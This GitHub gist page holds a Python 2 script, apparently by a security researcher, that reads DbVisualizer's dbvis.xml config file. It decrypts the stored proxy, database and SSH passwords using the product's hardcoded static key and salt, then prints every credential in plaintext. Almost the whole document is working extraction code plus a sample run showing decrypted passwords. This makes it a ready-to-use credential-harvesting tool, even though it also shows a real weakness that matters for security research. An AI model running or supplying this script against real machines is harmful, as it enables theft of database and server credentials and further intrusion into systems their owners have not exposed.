-
-
Save marcgeld/276a269b0dba881ac3ab to your computer and use it in GitHub Desktop.
A quick hack to extract and decrypt credentials from DbVisualizer config files.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# decrypt_dbvis.py ~ [email protected] | |
# DbVisualizer uses PBEWithMD5AndDES with a static key to store passwords. | |
# This is a quick hack to extract and decrypt credentials from DbVisualizer config files. | |
# Tested against DbVisualizer Free 9.0.9 and 9.2.10 | |
""" | |
[2014-03-25 02:05:30][not-the-sea workspace]$ security/p/gerry/misc/decrypt_dbvis.py | |
[+] DbVisualizer Password Extractor and Decryptor (@gerryeisenhaur) | |
[+] Additional Usage Options: | |
[+] security/p/gerry/misc/decrypt_dbvis.py <config filename> | |
[+] security/p/gerry/misc/decrypt_dbvis.py <encrypted password> | |
[+] Extracting credentials from /Users/jack/.dbvis/config70/dbvis.xml | |
driver | name | user | password | connection_info | |
------------+---------------------+-------------+--------------------+--------------------------------------- | |
Proxy | Default Proxy | myproxyuser | somesecretpassword | socks://127.0.0.1:1234 | |
Vertica 6.1 | vertica-prod | admin | password1 | jdbc:vertica://127.0.0.1:5434/userdata | |
PostgreSQL | PGTest | pg_user | pg_pass | Server=localhost,Port=5432,Database= | |
SQLite | Doodie | sqlituser | sqpasdf | Database file name=~/mysqlite.db | |
SSH | Doodie | root | s1qpa | localhost:22 | |
[+] (For Mac OS X: chmod a+x ./decrypt_dbvis.py; pip install lxml; pip install pycrypto) | |
[+] pip install tabulate | |
""" | |
import base64 | |
from hashlib import md5 | |
from Crypto.Cipher import DES | |
from os.path import expanduser | |
from lxml import etree, objectify | |
from collections import namedtuple | |
from tabulate import tabulate | |
_iterations = 10 | |
_salt = '\x8E\x129\x9C\aroZ' # -114, 18, 57, -100, 7, 114, 111, 90 | |
_password = 'qinda' | |
Credential = namedtuple('Credential', ['driver', 'name', 'user', | |
'password', 'connection_info']) | |
class PBEWithMD5AndDES(object): | |
def __init__(self, password, salt, iterations): | |
key = self._generate_key(password, salt, iterations, 16) | |
self.key = key[:8] | |
self.iv = key[8:16] | |
def _cipher(self): | |
return DES.new(self.key, DES.MODE_CBC, self.iv) | |
def _generate_key(self, key, salt, count, length): | |
key = key + salt | |
for i in range(count): | |
key = md5(key).digest() | |
return key[:length] | |
def encrypt(self, plaintext): | |
padding = 8 - len(plaintext) % 8 | |
plaintext += chr(padding) * padding | |
return self._cipher().encrypt(plaintext) | |
def decrypt(self, ciphertext): | |
plaintext = self._cipher().decrypt(ciphertext) | |
return plaintext[:-ord(plaintext[-1])] | |
def decrypt_password(password): | |
pbe = PBEWithMD5AndDES(_password, _salt, _iterations) | |
return pbe.decrypt(base64.b64decode(password)) | |
def extract_credentials(config_file): | |
with open(config_file, 'r') as xml_file: | |
xml_blob = xml_file.read() | |
root_obj = objectify.fromstring(xml_blob) | |
pbe = PBEWithMD5AndDES(_password, _salt, _iterations) | |
creds = [] | |
# Get any global proxy if it exists. | |
proxy_user = getattr(root_obj.General, 'ProxyUser', None) | |
proxy_pass = getattr(root_obj.General, 'ProxyPassword', None) | |
if proxy_pass and proxy_pass.text: | |
proxy_pass = pbe.decrypt(base64.b64decode(proxy_pass.text)) | |
proxy_host = getattr(root_obj.General, 'ProxyHost', None) | |
proxy_port = getattr(root_obj.General, 'ProxyPort', None) | |
proxy_type = getattr(root_obj.General, 'ProxyType', None) | |
conn_info = "%s://%s:%s" % (proxy_type, proxy_host, proxy_port,) | |
conn_info = (proxy_user and proxy_pass) and conn_info or None | |
if conn_info: | |
creds.append(Credential(name="Default Proxy", user=proxy_user, | |
password=proxy_pass, connection_info=conn_info, driver='Proxy')) | |
# Grab and decrypt each DB password along with any SSh servers | |
cred = {} | |
for db in root_obj.Databases.Database: | |
cred['name'] = getattr(db, 'Alias', None) | |
cred['user'] = getattr(db, 'Userid', None) | |
password = getattr(db, 'Password', None) | |
if password is not None and password.text: | |
cred['password'] = pbe.decrypt(base64.b64decode(password.text)) | |
cred['driver'] = getattr(db, 'Driver', None) | |
conn_info = getattr(db, 'Url', None) | |
if not conn_info: | |
params = db.UrlVariables.Driver.getchildren() | |
conn_info = ",".join(["%s=%s" % (p.get('UrlVariableName'), p) for p in params]) | |
cred['connection_info'] = conn_info | |
creds.append(Credential(**cred)) | |
# Note: I haven't tested anything related to ssh info extraction... no test cases | |
ssh_password = getattr(db.SshSettings, 'SshPassword', None) | |
if ssh_password and ssh_password.text: | |
host = getattr(db.SshSettings, 'SshHost', '') | |
port = getattr(db.SshSettings, 'SshPort', '22') | |
ssh_cred = dict( | |
driver="SSH", | |
name="%s" % (cred['name'],), | |
user=getattr(db.SshSettings, 'SshUserid'), | |
password=pbe.decrypt(base64.b64decode(ssh_password.text)), | |
connection_info="%s:%s" % (host, port,)) | |
creds.append(Credential(**ssh_cred)) | |
return creds | |
def print_table(rows): | |
headers = rows[0]._fields | |
print tabulate(rows, headers) | |
if __name__ == '__main__': | |
import sys | |
import os.path | |
print "[+] DbVisualizer Password Extractor and Decryptor (@gerryeisenhaur)" | |
if len(sys.argv) == 2: | |
if os.path.exists(sys.argv[1]): | |
dbvis_config = sys.argv[1] | |
else: | |
dbvis_config = None | |
else: | |
print "[+] Additional Usage Options: " | |
print "[+] %s <config filename>" % sys.argv[0] | |
print "[+] %s <encrypted password>" % sys.argv[0] | |
dbvis_config = "%s/.dbvis/config70/dbvis.xml" % os.path.expanduser("~") | |
if not dbvis_config: | |
password = sys.argv[1] | |
print "[+] Decrypting: %s" % (password,) | |
try: | |
print "[+] Plain Text: %s" % (decrypt_password(password),) | |
except Exception, e: | |
print "[!] Error decrypting! %s" % (e,) | |
sys.exit() | |
print "[+] Extracting credentials from %s\n" % (dbvis_config,) | |
print_table(extract_credentials(dbvis_config)) | |
print "\n[+] Done. Have Fun!" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment